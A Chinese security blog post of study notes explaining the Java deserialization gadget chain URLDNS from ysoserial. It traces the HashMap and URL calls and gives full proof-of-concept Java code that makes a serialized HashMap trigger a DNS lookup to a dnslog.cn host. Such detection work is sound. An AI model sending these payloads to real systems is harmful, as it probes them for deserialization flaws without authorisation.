F4de's blog F4de's blog
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链

F4de

Syclover | Web
首页
WP整理
技术文章
学习笔记
其它随笔
关于|友链
  • php安全

  • python安全

  • Java安全

    • Java反射特性摘要
    • Java反序列化-URLDNS
      • 前言
      • URLDNS
      • 注意点
        • 1.为什么要修改hashCode的值为-1
        • 2.为什么要先put再修改hashCode
    • Java反序列化-CC1
    • Java反序列化-CC5
    • Java反序列化-CC6
    • Fastjson(1)-初探以及利用方式
    • Fastjson(2)-TemplatesImpl利用链
    • 谈一谈Java动态加载字节码
  • 其他

  • 技术文章
  • Java安全
F4de
2020-11-06

Java反序列化-URLDNS

知识点来自P牛《Java安全摘要》反序列化部分

# 前言

ysoserial项目的搭建和调试就不多说了,P牛写过一篇文章专门来说这个事情

主要说一下学的第一条反序列化的gadget:URLDNS,这条链多用于探测目标是否存在反序列化漏洞,因为它用了Java的内置类HashMap,如果反序列化成功则会对设置的URL发起一次DNS查询请求,我们可以通过一些第三方网站(比如dnslog)来查看目标是否进行了反序列化

# URLDNS

环境配置

  • jdk:1.8
  • 无需第三方依赖

反序列化的点在Java内置类HashMap中,我们直接看这个类的readObject方法

image-20201106194816705

调用了hash方法,参数是key,我们跟进该方法查看

image-20201106194916659

调用了key的hashCode方法,hashCode方法是Object的一个方法,也就是说其子类可以重写该方法,我们再来看另外一个类URL的hashCode方法

image-20201106195346602

handler的类型是URLStreamHandler,我们再跟进该类的hashCode方法

image-20201106195626160

这里调用了getHostAddress方法,参数就是一个URL,我们再跟进该方法

image-20201106195713533

getByName在API中的描述如下

image-20201106195944062

对应到网络请求中,就是一次DNS请求

经过以上的分析,gadget的构造方式已经很明确了:

image-20201106200917148

exp的编写:

package ysoserial.MyExp.CCExp;


import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {

        HashMap hashMap = new HashMap();
        String url = "http://t7e37h.dnslog.cn";
        URL url1 = new URL(url);
        Class<URL> urlClass = URL.class;
        // hashCode的修饰符为private,需要使用反射来修改
        Field hashCode = urlClass.getDeclaredField("hashCode");
        hashCode.setAccessible(true);
        hashCode.set(url1, 123);
        hashMap.put(url1, "value");
        // 反射修改hashCode为-1
        hashCode.set(url1, -1);

        // 本地测试
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        System.out.println(byteArrayOutputStream);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

image-20201106202142565

image-20201106202220217

# 注意点

# 1.为什么要修改hashCode的值为-1

我们回到URL类的hashCode方法中来

image-20201106201659640

可以看到,如果hashCode不等于-1,则会直接返回该值,就不会执行下面的代码了

# 2.为什么要先put再修改hashCode

跟进hashMap的put方法

image-20201106201938085

可以看到,这里会进行一次hash方法的调用,如果先修改hashCode的值为-1,则会多触发一次DNS查询

#Java安全
Java反射特性摘要
Java反序列化-CC1

← Java反射特性摘要 Java反序列化-CC1→

最近更新
01
谈一谈Java动态加载字节码的方式
12-18
02
Fastjson反序列化(2)-TemplatesImpl利用链
12-01
03
Fastjson反序列化(1)-初探利用方式
11-30
更多文章>
Theme by Vdoing | Copyright © 2019-2021
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式